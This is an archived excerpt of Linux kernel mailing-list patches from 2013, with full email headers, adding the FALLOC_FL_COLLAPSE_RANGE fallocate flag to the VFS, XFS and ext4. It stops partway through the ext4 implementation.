X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Fallocate now supports new FALLOC_FL_COLLAPSE_RANGE flag. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 1) It should be used exclusively. No other fallocate flag in combination. 2) Offset and length supplied to fallocate should be fs block size aligned. 3) It wokrs beyond "EOF", so the extents which are pre-allocated beyond "EOF" are also updated. 4) It reduces the i_size of inode by the amount of collapse range which lies within i_size. So, if offset >= i_size, i_size won't be changed at all. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/open.c | 19 ++++++++++++++++--- include/uapi/linux/falloc.h | 5 +++-- 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/fs/open.c b/fs/open.c index d53e298..e076390 100644 --- a/fs/open.c +++ b/fs/open.c @@ -225,12 +225,15 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) { struct inode *inode = file_inode(file); long ret; + unsigned i_blkbits = ACCESS_ONCE(inode->i_blkbits); + unsigned blksize_mask = (1 << i_blkbits) - 1; if (offset < 0 || len <= 0) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; /* Punch hole must have keep size set */ @@ -241,8 +244,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (!(file->f_mode & FMODE_WRITE)) return -EBADF; - /* It's not possible punch hole on append only file */ - if (mode & FALLOC_FL_PUNCH_HOLE && IS_APPEND(inode)) + /* + * It's not possible to punch hole or perform collapse range + * on append only file + */ + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE) + && IS_APPEND(inode)) return -EPERM; if (IS_IMMUTABLE(inode)) @@ -270,6 +277,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (((offset + len) > inode->i_sb->s_maxbytes) || ((offset + len) < 0)) return -EFBIG; + /* Collapse range works only on fs block size aligned offsets */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && + (offset & blksize_mask || len & blksize_mask || + mode & ~FALLOC_FL_COLLAPSE_RANGE)) + return -EINVAL; + if (!file->f_op->fallocate) return -EOPNOTSUPP; diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..7567c8c 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -1,9 +1,10 @@ #ifndef _UAPI_FALLOC_H_ #define _UAPI_FALLOC_H_ -#define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ -#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ +#define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ +#define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +#define FALLOC_FL_COLLAPSE_RANGE 0x08 /* it does not leave a hole */ #endif /* _UAPI_FALLOC_H_ */ -- 1.7.9.5 From linkinjeon@gmail.com Wed Jul 31 09:42:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 88F6A7F6F for ; Wed, 31 Jul 2013 09:42:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B8A48F8037 for ; Wed, 31 Jul 2013 07:42:23 -0700 (PDT) X-ASG-Debug-ID: 1375281741-04bdf02f2329c4a0001-NocioJ Received: from mail-pb0-f48.google.com (mail-pb0-f48.google.com [209.85.160.48]) by cuda.sgi.com with ESMTP id VJSNnuGB0bMPpwXF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 31 Jul 2013 07:42:22 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.48 Received: by mail-pb0-f48.google.com with SMTP id ma3so846620pbc.7 for ; Wed, 31 Jul 2013 07:42:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:x-mailer; bh=opcAIwaN3UwHUvgyuZoeBi2V+ylbnHZW3HeGNK0wYt4=; b=dY+Us9KLE9ezvdrCzO/HNBk6OL0c1sz/wqToG+66snOB/FVGdpik1twaHPrZqCL49T YGPFsgSIH9FXPxfXm7rpaGsweEH6DfOtnICyJw3ht/28aoNTrZJwG8x37kYDJbnW18II wj0JJ75DL3nzinEqRDpkqbUu3PO/o74PXi4D7LVPrWTqQr2mv/FrLmilp7dbzpeIwdTi CDjaZ1OZ7sc7mLQVIFDAyRJ4oj2NxE85TL+g8zRWDigBaRKU1hf0IrvI0Z4o9oho34bT J8fo80Rm++2wKeZ3r8/0CdubKrsQ6OvD+m2lPJgByCdh/zYK2qfVUu705BKDfnzHc9nc s5wQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.171.194 with SMTP id aw2mr80630480pbc.197.1375281741686; Wed, 31 Jul 2013 07:42:21 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.104]) by mx.google.com with ESMTPSA id om2sm2544061pbc.30.2013.07.31.07.42.19 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 31 Jul 2013 07:42:21 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.104 To: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH 2/3] xfs: Implement FALLOC_FL_COLLAPSE_RANGE Date: Wed, 31 Jul 2013 23:42:14 +0900 X-ASG-Orig-Subj: [PATCH 2/3] xfs: Implement FALLOC_FL_COLLAPSE_RANGE Message-Id: <1375281734-15874-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f48.google.com[209.85.160.48] X-Barracuda-Start-Time: 1375281742 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon New fallocate flag FALLOC_FL_COLLAPSE_RANGE implementation for XFS. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/xfs/xfs_bmap.c | 92 +++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 3 ++ fs/xfs/xfs_file.c | 26 ++++++++++++-- fs/xfs/xfs_iops.c | 35 +++++++++++++++++++ fs/xfs/xfs_vnodeops.c | 62 +++++++++++++++++++++++++++++++++ fs/xfs/xfs_vnodeops.h | 2 ++ 6 files changed, 217 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 05c698c..ae677b1 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -6145,3 +6145,95 @@ next_block: return error; } + +/* + * xfs_update_logical() + * Updates starting logical block of extents by subtracting + * shift from them. At max XFS_LINEAR_EXTS number extents + * will be updated and *current_ext is the extent number which + * is currently being updated. + */ +int +xfs_update_logical( + xfs_trans_t *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t shift, + xfs_extnum_t *current_ext) +{ + xfs_btree_cur_t *cur; + xfs_bmbt_rec_host_t *gotp; + xfs_mount_t *mp; + xfs_ifork_t *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + + ifp = XFS_IFORK_PTR(ip, XFS_DATA_FORK); + mp = ip->i_mount; + + if (!(ifp->if_flags & XFS_IFEXTENTS) && + (error = xfs_iread_extents(tp, ip, XFS_DATA_FORK))) + return error; + + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + if (ifp->if_flags & XFS_IFBROOT) + cur = xfs_bmbt_init_cursor(mp, tp, ip, XFS_DATA_FORK); + else + cur = NULL; + + while (nexts++ < XFS_LINEAR_EXTS && + *current_ext < XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK)) { + gotp = xfs_iext_get_ext(ifp, (*current_ext)++); + startoff = xfs_bmbt_get_startoff(gotp); + if (cur) { + if ((error = xfs_bmbt_lookup_eq(cur, + startoff, + xfs_bmbt_get_startblock(gotp), + xfs_bmbt_get_blockcount(gotp), + &i))) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + startoff -= shift; + xfs_bmbt_set_startoff(gotp, startoff); + if (cur) { + error = xfs_bmbt_update(cur, startoff, + xfs_bmbt_get_startblock(gotp), + xfs_bmbt_get_blockcount(gotp), + xfs_bmbt_get_state(gotp)); + if (error) + goto del_cursor; + } + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, XFS_DATA_FORK)) + *done = 1; + +del_cursor: + if (cur) { + if (!error) + cur->bc_private.b.allocated = 0; + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + } + + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE | XFS_ILOG_DEXT); + + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 1cf1292..f923734 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -204,6 +204,9 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_update_logical(xfs_trans_t *tp, struct xfs_inode *ip, int *done, + xfs_fileoff_t start_fsb, xfs_fileoff_t shift, + xfs_extnum_t *current_ext); #ifdef __KERNEL__ /* bmap to userspace formatter - copy to user & advance pointer */ diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index de3dc98..7d871bc 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -817,7 +817,12 @@ xfs_file_fallocate( int cmd = XFS_IOC_RESVSP; int attr_flags = XFS_ATTR_NOLOCK; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) + return -EOPNOTSUPP; + + /* not just yet for rt inodes */ + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && XFS_IS_REALTIME_INODE(ip)) return -EOPNOTSUPP; bf.l_whence = 0; @@ -826,11 +831,11 @@ xfs_file_fallocate( xfs_ilock(ip, XFS_IOLOCK_EXCL); - if (mode & FALLOC_FL_PUNCH_HOLE) + if (mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE)) cmd = XFS_IOC_UNRESVSP; /* check the new inode size is valid before allocating */ - if (!(mode & FALLOC_FL_KEEP_SIZE) && + if (!(mode & (FALLOC_FL_KEEP_SIZE | FALLOC_FL_COLLAPSE_RANGE)) && offset + len > i_size_read(inode)) { new_size = offset + len; error = inode_newsize_ok(inode, new_size); @@ -845,6 +850,21 @@ xfs_file_fallocate( if (error) goto out_unlock; + if (mode & FALLOC_FL_COLLAPSE_RANGE) { + error = -xfs_collapse_file_space(ip, offset + len, len); + if (error || offset >= i_size_read(inode)) + goto out_unlock; + + /* Shrink size in case of FALLOC_FL_COLLAPSE_RANGE */ + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + error = -xfs_update_file_size(ip, new_size); + + goto out_unlock; + } + /* Change file size if needed */ if (new_size) { struct iattr iattr; diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 96dda62..16b20f1 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -1236,3 +1236,38 @@ xfs_setup_inode( unlock_new_inode(inode); } + +/* + * xfs_update_file_size() + * Just a simple disk size and time update + */ +int +xfs_update_file_size( + struct xfs_inode *ip, + loff_t newsize) +{ + xfs_mount_t *mp = ip->i_mount; + struct inode *inode = VFS_I(ip); + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE); + + error = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES(mp), 0, 0, 0); + if (error) + return error; + + xfs_trans_ijoin(tp, ip, 0); + truncate_setsize(inode, newsize); + ip->i_d.di_size = newsize; + + xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_CHG); + + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + if (mp->m_flags & XFS_MOUNT_WSYNC) + xfs_trans_set_sync(tp); + + return xfs_trans_commit(tp, 0); + +} diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index dc730ac..95b46e7 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -1868,3 +1868,65 @@ xfs_change_file_space( xfs_trans_set_sync(tp); return xfs_trans_commit(tp, 0); } + +/* + * xfs_collapse_file_space() + * This implements the fallocate collapse range functionlaity. + * It removes the hole from file by shifting all the extents which + * lies beyond start block. + */ +int +xfs_collapse_file_space( + xfs_inode_t *ip, + loff_t start, + loff_t shift) +{ + int done = 0; + xfs_mount_t *mp = ip->i_mount; + uint resblks; + xfs_trans_t *tp; + int error = 0; + xfs_extnum_t current_ext = 0; + xfs_fileoff_t start_fsb = XFS_B_TO_FSB(mp, start); + xfs_fileoff_t shift_fsb = XFS_B_TO_FSB(mp, shift); + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + error = xfs_trans_reserve(tp, resblks, XFS_WRITE_LOG_RES(mp), + 0, XFS_TRANS_PERM_LOG_RES, + XFS_WRITE_LOG_COUNT); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + resblks, 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + error = xfs_update_logical(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} diff --git a/fs/xfs/xfs_vnodeops.h b/fs/xfs/xfs_vnodeops.h index 38c67c3..a9684c9 100644 --- a/fs/xfs/xfs_vnodeops.h +++ b/fs/xfs/xfs_vnodeops.h @@ -51,5 +51,7 @@ int xfs_attr_list(struct xfs_inode *dp, char *buffer, int bufsize, int xfs_iozero(struct xfs_inode *, loff_t, size_t); int xfs_zero_eof(struct xfs_inode *, xfs_off_t, xfs_fsize_t); int xfs_free_eofblocks(struct xfs_mount *, struct xfs_inode *, bool); +int xfs_collapse_file_space(struct xfs_inode *, loff_t, loff_t); +int xfs_update_file_size(struct xfs_inode *, loff_t); #endif /* _XFS_VNODEOPS_H */ -- 1.7.9.5 From linkinjeon@gmail.com Wed Jul 31 09:42:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 282DC7F5E for ; Wed, 31 Jul 2013 09:42:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9C1EEAC003 for ; Wed, 31 Jul 2013 07:42:39 -0700 (PDT) X-ASG-Debug-ID: 1375281757-04cbb02c3e296cb0001-NocioJ Received: from mail-pa0-f50.google.com (mail-pa0-f50.google.com [209.85.220.50]) by cuda.sgi.com with ESMTP id UY3rcMHkNd4BWzYj (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 31 Jul 2013 07:42:37 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.50 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.50] Received: by mail-pa0-f50.google.com with SMTP id fb10so947648pad.9 for ; Wed, 31 Jul 2013 07:42:37 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.50] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.50] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:x-mailer; bh=GwCwUJJTmYSC1i8HKq192dbv7AUoKMFKSN0nIsKU6IQ=; b=wC9rEjLV12bYxAqrFCros0TWyWYbBpXr+axOHIz/kYK460syagvfT+TWuHIDwIX4Pb ChV4T/FGT6IpSRzkZBmJgDbElZ8xwR6K+q0VtfMHOac+o5oThY5zedciqCgx9SSMvw4g i/tkEMfMpqqiN/4K2oqbUsUwDScowHP0NM7LF5aVBKplOkN9k1CUU/AyXta5mfhx6HBb gnzmKAc8YYnvvYRYSCCAC5AgOI88uIJiGH39CBsv2zTyb3a41slBs/OucbTE7uCiQGbb ileye7/z/fD/WzdHFpBP+fWCkzFogkN9VahAxiRuJptl4e2bnmOrIR+skrk5wLqs1RUj pf4Q== X-Received: by 10.68.1.9 with SMTP id 9mr79755506pbi.128.1375281757355; Wed, 31 Jul 2013 07:42:37 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.104]) by mx.google.com with ESMTPSA id bb1sm2579609pbc.10.2013.07.31.07.42.31 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 31 Jul 2013 07:42:36 -0700 (PDT) From: Namjae Jeon To: tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH 3/3] ext4: Implement FALLOC_FL_COLLAPSE_RANGE Date: Wed, 31 Jul 2013 23:42:26 +0900 X-ASG-Orig-Subj: [PATCH 3/3] ext4: Implement FALLOC_FL_COLLAPSE_RANGE Message-Id: <1375281746-15908-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f50.google.com[209.85.220.50] X-Barracuda-Start-Time: 1375281757 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon New fallocate flag FALLOC_FL_COLLAPSE_RANGE implementation for Ext4 Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 255 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 +++++ 4 files changed, 283 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index b577e45..35eed6a 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2692,6 +2692,7 @@ extern int ext4_find_delalloc_range(struct inode *inode, extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ @@ -2704,6 +2705,8 @@ void ext4_inode_double_unlock(struct inode *inode1, struct inode *inode2); extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index a618738..8df082d 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4476,12 +4476,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4774,3 +4778,252 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_update_path: + * Update the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) by subtracting shift from starting + * block for each extent. + */ +static int +ext4_ext_update_path(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_update_logical: + * All the extents which lies in the range from start to the last allocated + * block for the file are updated by moving them shift blocks to the left. + */ +static int +ext4_ext_update_logical(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret < 0) { + ext4_ext_drop_refs(path); + kfree(path); + break; + } + } + ret = ext4_ext_update_path(path, shift, inode, handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 on success or negative on error + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + truncate_pagecache_range(inode, ioffset, -1); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_update_logical(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if (offset >= i_size_read(inode)) + goto update_time; + + if ((offset + len) > i_size_read(inode)) + new_size = 